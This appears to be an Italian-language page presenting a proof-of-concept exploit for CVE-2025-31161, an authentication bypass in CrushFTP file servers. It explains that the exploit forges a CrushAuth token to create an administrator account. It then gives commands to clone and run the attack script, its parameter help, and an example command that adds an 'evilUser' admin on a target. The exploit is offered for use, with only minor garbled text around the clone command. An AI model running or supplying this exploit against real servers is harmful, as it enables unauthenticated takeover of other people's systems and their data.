
PoC CVE-2025-31161 - Bypass dell'autenticazione CrushFTP
PoC CVE-2025-31161 - Bypass dell'Autenticazione CrushFTP
CrushAuth valido e creare un utente amministratore con pieni privilegi.Questo exploit colpisce una vulnerabilità critica in CrushFTP, permettendo a attaccanti remoti non autenticati di bypassare l'autenticazione e creare utenti amministratori arbitrari.
Funziona creando un token CrushAuth dall'aspetto valido e abusando dell'endpoint /WebInterface/function/ per inviare un payload XML completo.
curlshufgit clone https://github.com/f4dee-backup/CVE-2025-31161
cd CVE-2025-31161
chmod +x CVE-2025-31161.sh
./CVE-2025-31161.sh --help
[?] Parameters description:
--url Target base URL (e.g., http://target)
--port Port where CrushFTP is running
--target-user Valid or invalid username (e.g., crushadmin)
--new-user Username to be created (e.g., Pwn3d)
--new-password Password for the new user
--help Show this help panel
[i] Example: ./CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345